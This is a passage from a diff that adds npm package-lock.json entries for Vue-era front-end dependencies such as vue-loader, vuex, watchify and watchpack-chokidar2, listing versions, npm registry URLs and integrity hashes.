"integrity": "sha1-qrGh+jDUX4jdMhFIh1rALAtV5bQ=", + "dev": true, + "dependencies": { + "user-home": "^1.1.1" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/validate-npm-package-license": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.3.tgz", + "integrity": "sha512-63ZOUnL4SIXj4L0NixR3L1lcjO38crAbgrTpl28t8jjrfuiOBL5Iygm+60qPs/KsZGzPNg6Smnc/oY16QTjF0g==", + "dev": true, + "dependencies": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "peer": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/vendors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/vendors/-/vendors-1.0.2.tgz", + "integrity": "sha512-w/hry/368nO21AN9QljsaIhb9ZiZtZARoVH5f3CsFbawdLdayCgKRPup7CggujvySMxx0I91NOyxdVENohprLQ==", + "dev": true + }, + "node_modules/verror": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", + "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "dependencies": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + } + }, + "node_modules/vlq": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/vlq/-/vlq-1.0.1.tgz", + "integrity": "sha512-gQpnTgkubC6hQgdIcRdYGDSDc+SaujOdyesZQMv6JlfQee/9Mp0Qhnys6WxDWvQnL5WZdT7o2Ul187aSt0Rq+w==", + "peer": true + }, + "node_modules/vm-browserify": { + "version": "0.0.4", + "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-0.0.4.tgz", + "integrity": "sha1-XX6kW7755Kb/ZflUOOCofDV9WnM=", + "dev": true, + "dependencies": { + "indexof": "0.0.1" + } + }, + "node_modules/void-elements": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/void-elements/-/void-elements-3.1.0.tgz", + "integrity": "sha1-YU9/v42AHwu18GYfWy9XhXUOTwk=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/vue": { + "version": "2.5.16", + "resolved": "https://registry.npmjs.org/vue/-/vue-2.5.16.tgz", + "integrity": "sha512-/ffmsiVuPC8PsWcFkZngdpas19ABm5mh2wA7iDqcltyCTwlgZjHGeJYOXkBMo422iPwIcviOtrTCUpSfXmToLQ==" + }, + "node_modules/vue-color": { + "version": "2.4.6", + "resolved": "https://registry.npmjs.org/vue-color/-/vue-color-2.4.6.tgz", + "integrity": "sha512-kGz1LNu1DKIcT8jQmUeSjQNqh9NGYBCvMFXU43MRF4kg7A33Z4tZMQFLrPrX7d8r3ptbmLq+MaclJiVQFMCMqg==", + "dependencies": { + "lodash.throttle": "^4.0.0", + "material-colors": "^1.0.0", + "tinycolor2": "^1.1.2" + } + }, + "node_modules/vue-fragment": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/vue-fragment/-/vue-fragment-1.5.1.tgz", + "integrity": "sha512-ig6eES6TcMBbANW71ylB+AJgRN+Zksb3f50AxjGpAk6hMzqmeuD80qeh4LJP0jVw2dMBMjgRUfIkrvxygoRgtQ==", + "peerDependencies": { + "vue": "^2.5.16" + } + }, + "node_modules/vue-fullscreen": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/vue-fullscreen/-/vue-fullscreen-2.1.5.tgz", + "integrity": "sha512-M8wx+OV7uCGOQ/iLi5d2WHbWW9ad9uBPsW50iezV7LDrZ6iuXkDJSCmTaQgnRKJWOOfPsQrgNFME1LKMRrFmgg==", + "engines": { + "node": ">=4", + "npm": ">=3" + } + }, + "node_modules/vue-hot-reload-api": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/vue-hot-reload-api/-/vue-hot-reload-api-2.3.0.tgz", + "integrity": "sha512-2j/t+wIbyVMP5NvctQoSUvLkYKoWAAk2QlQiilrM2a6/ulzFgdcLUJfTvs4XQ/3eZhHiBmmEojbjmM4AzZj8JA==", + "dev": true + }, + "node_modules/vue-loader": { + "version": "13.7.2", + "resolved": "https://registry.npmjs.org/vue-loader/-/vue-loader-13.7.2.tgz", + "integrity": "sha512-pgFWFsUjYO1v+J+3r7K0Q4lCp0eOyI24/q9j+cCudWyCTjgpjpcAa1MdwjlDUUettt9xkkUBbQ9fkAN1NC8t9w==", + "dev": true, + "dependencies": { + "consolidate": "^0.14.0", + "hash-sum": "^1.0.2", + "loader-utils": "^1.1.0", + "lru-cache": "^4.1.1", + "postcss": "^6.0.8", + "postcss-load-config": "^1.1.0", + "postcss-selector-parser": "^2.0.0", + "prettier": "^1.7.0", + "resolve": "^1.4.0", + "source-map": "^0.6.1", + "vue-hot-reload-api": "^2.2.0", + "vue-style-loader": "^3.0.0", + "vue-template-es2015-compiler": "^1.6.0" + }, + "peerDependencies": { + "css-loader": "*", + "vue-template-compiler": "^2.0.0" + } + }, + "node_modules/vue-loader/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/vue-loader/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/vue-loader/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/vue-loader/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/vue-loader/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/vue-loader/node_modules/postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "dependencies": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/vue-loader/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/vue-loader/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/vue-multiselect": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/vue-multiselect/-/vue-multiselect-2.1.0.tgz", + "integrity": "sha512-mEhApxZ6MUISGLuGDy0RF5UlAKUgG/Qq0DWYE/C+CA1h6ZszM3cHfpNFfFm2AMWLclY2SAWpY1HlQLjsw8WnvQ==", + "engines": { + "node": ">= 4.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/vue-popperjs": { + "version": "1.6.3", + "resolved": "https://registry.npmjs.org/vue-popperjs/-/vue-popperjs-1.6.3.tgz", + "integrity": "sha512-D0k/PxsDoCQxYykTh26t//6Uw5hk5Yl3BDlZj2nHqB2AyD0NjKCceLbuBRlPh+O59CXYJLSW2p5QveepLwkUvg==", + "dependencies": { + "popper.js": "^1.14.3" + } + }, + "node_modules/vue-router": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/vue-router/-/vue-router-3.0.1.tgz", + "integrity": "sha512-vLLoY452L+JBpALMP5UHum9+7nzR9PeIBCghU9ZtJ1eWm6ieUI8Zb/DI3MYxH32bxkjzYV1LRjNv4qr8d+uX/w==" + }, + "node_modules/vue-style-loader": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/vue-style-loader/-/vue-style-loader-3.1.2.tgz", + "integrity": "sha512-ICtVdK/p+qXWpdSs2alWtsXt9YnDoYjQe0w5616j9+/EhjoxZkbun34uWgsMFnC1MhrMMwaWiImz3K2jK1Yp2Q==", + "dev": true, + "dependencies": { + "hash-sum": "^1.0.2", + "loader-utils": "^1.0.2" + } + }, + "node_modules/vue-template-compiler": { + "version": "2.5.16", + "resolved": "https://registry.npmjs.org/vue-template-compiler/-/vue-template-compiler-2.5.16.tgz", + "integrity": "sha512-ZbuhCcF/hTYmldoUOVcu2fcbeSAZnfzwDskGduOrnjBiIWHgELAd+R8nAtX80aZkceWDKGQ6N9/0/EUpt+l22A==", + "dev": true, + "dependencies": { + "de-indent": "^1.0.2", + "he": "^1.1.0" + } + }, + "node_modules/vue-template-es2015-compiler": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/vue-template-es2015-compiler/-/vue-template-es2015-compiler-1.6.0.tgz", + "integrity": "sha512-x3LV3wdmmERhVCYy3quqA57NJW7F3i6faas++pJQWtknWT+n7k30F4TVdHvCLn48peTJFRvCpxs3UuFPqgeELg==", + "dev": true + }, + "node_modules/vue2-daterange-picker": { + "version": "0.5.1", + "resolved": "https://registry.npmjs.org/vue2-daterange-picker/-/vue2-daterange-picker-0.5.1.tgz", + "integrity": "sha512-p0y9RyI6wqqwffKM5EYgxvNM51un/fBu9hLZ/GxXVOBqTMxjDuV8mz9iUTj4p5R80lWSBwIY7GshW5RYgS8+rw==", + "dependencies": { + "vue": "^2.6.10" + } + }, + "node_modules/vue2-daterange-picker/node_modules/vue": { + "version": "2.6.11", + "resolved": "https://registry.npmjs.org/vue/-/vue-2.6.11.tgz", + "integrity": "sha512-VfPwgcGABbGAue9+sfrD4PuwFar7gPb1yl1UK1MwXoQPAw0BKSqWfoYCT/ThFrdEVWoI51dBuyCoiNU9bZDZxQ==" + }, + "node_modules/vuex": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/vuex/-/vuex-3.0.1.tgz", + "integrity": "sha512-wLoqz0B7DSZtgbWL1ShIBBCjv22GV5U+vcBFox658g6V0s4wZV9P4YjCNyoHSyIBpj1f29JBoNQIqD82cR4O3w==" + }, + "node_modules/walkdir": { + "version": "0.0.11", + "resolved": "https://registry.npmjs.org/walkdir/-/walkdir-0.0.11.tgz", + "integrity": "sha1-oW0CXrkxvQO1LzCMrtD0D86+lTI=", + "dev": true, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/walker": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz", + "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==", + "peer": true, + "dependencies": { + "makeerror": "1.0.12" + } + }, + "node_modules/watch": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/watch/-/watch-1.0.2.tgz", + "integrity": "sha1-NApxe952Vyb6CqB9ch4BR6VR3ww=", + "dev": true, + "dependencies": { + "exec-sh": "^0.2.0", + "minimist": "^1.2.0" + }, + "bin": { + "watch": "cli.js" + }, + "engines": { + "node": ">=0.1.95" + } + }, + "node_modules/watchify": { + "version": "3.11.0", + "resolved": "https://registry.npmjs.org/watchify/-/watchify-3.11.0.tgz", + "integrity": "sha512-7jWG0c3cKKm2hKScnSAMUEUjRJKXUShwMPk0ASVhICycQhwND3IMAdhJYmc1mxxKzBUJTSF5HZizfrKrS6BzkA==", + "dev": true, + "dependencies": { + "anymatch": "^1.3.0", + "browserify": "^16.1.0", + "chokidar": "^1.0.0", + "defined": "^1.0.0", + "outpipe": "^1.1.0", + "through2": "^2.0.0", + "xtend": "^4.0.0" + }, + "bin": { + "watchify": "bin/cmd.js" + } + }, + "node_modules/watchpack": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-1.6.0.tgz", + "integrity": "sha512-i6dHe3EyLjMmDlU1/bGQpEw25XSjkJULPuAVKCbNRefQVq48yXKUpwg538F7AZTf9kyr57zj++pQFltUa5H7yA==", + "dev": true, + "dependencies": { + "chokidar": "^2.0.2", + "graceful-fs": "^4.1.2", + "neo-async": "^2.5.0" + } + }, + "node_modules/watchpack-chokidar2": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/watchpack-chokidar2/-/watchpack-chokidar2-2.0.0.tgz", + "integrity": "sha512-9TyfOyN/zLUbA288wZ8IsMZ+6cbzvsNyEzSBp6e/zkifi6xxbl8SmQ/CxQq32k8NNqrdVEVUVSEf56L4rQ/ZxA==", + "dev": true, + "optional": true, + "dependencies": { + "chokidar": "^2.1.8" + }, + "engines": { + "node": "<8.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/anymatch": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", + "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", + "dev": true, + "optional": true, + "dependencies": { + "micromatch": "^3.1.4", + "normalize-path": "^2.1.1" + } + }, + "node_modules/watchpack-chokidar2/node_modules/anymatch/node_modules/normalize-path": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", + "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", + "dev": true, + "optional": true, + "dependencies": { + "remove-trailing-separator": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "dev": true, + "optional": true, + "dependencies": { + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/braces/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "optional": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/chokidar": { + "version": "2.1.8", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz", + "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==", + "deprecated": "Chokidar 2 does not receive security updates since 2019. Upgrade to chokidar 3 with 15x fewer dependencies", + "dev": true, + "optional": true, + "dependencies": { + "anymatch": "^2.0.0", + "async-each": "^1.0.1", + "braces": "^2.3.2", + "glob-parent": "^3.1.0", + "inherits": "^2.0.3", + "is-binary-path": "^1.0.0", + "is-glob": "^4.0.0", + "normalize-path": "^3.0.0", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.2.1", + "upath": "^1.1.1" + }, + "optionalDependencies": { + "fsevents": "^1.2.7" + } + }, + "node_modules/watchpack-chokidar2/node_modules/expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", + "dev": true, + "optional": true, + "dependencies": { + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/expand-brackets/node_modules/define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "optional": true, + "dependencies": { + "is-descriptor": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/expand-brackets/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "optional": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/expand-brackets/node_modules/is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "dev": true, + "optional": true, + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/expand-brackets/node_modules/is-accessor-descriptor/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "optional": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/expand-brackets/node_modules/is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "dev": true, + "optional": true, + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/expand-brackets/node_modules/is-data-descriptor/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "optional": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/expand-brackets/node_modules/is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "optional": true, + "dependencies": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/expand-brackets/node_modules/kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "dev": true, + "optional": true, + "dependencies": { + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/extglob/node_modules/define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "optional": true, + "dependencies": { + "is-descriptor": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/extglob/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "optional": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", + "dev": true, + "optional": true, + "dependencies": { + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/fill-range/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "optional": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/fsevents": { + "version": "1.2.13", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.13.tgz", + "integrity": "sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==", + "deprecated": "fsevents 1 will break on node v14+ and could be using insecure binaries. Upgrade to fsevents 2.", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "dependencies": { + "bindings": "^1.5.0", + "nan": "^2.12.1" + }, + "engines": { + "node": ">= 4.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/glob-parent": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", + "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", + "dev": true, + "optional": true, + "dependencies": { + "is-glob": "^3.1.0", + "path-dirname": "^1.0.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/glob-parent/node_modules/is-glob": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", + "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", + "dev": true, + "optional": true, + "dependencies": { + "is-extglob": "^2.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "optional": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "optional": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "optional": true, + "dependencies": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/is-glob": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", + "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", + "dev": true, + "optional": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dev": true, + "optional": true, + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/is-number/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "optional": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "dev": true, + "optional": true, + "engines": { + 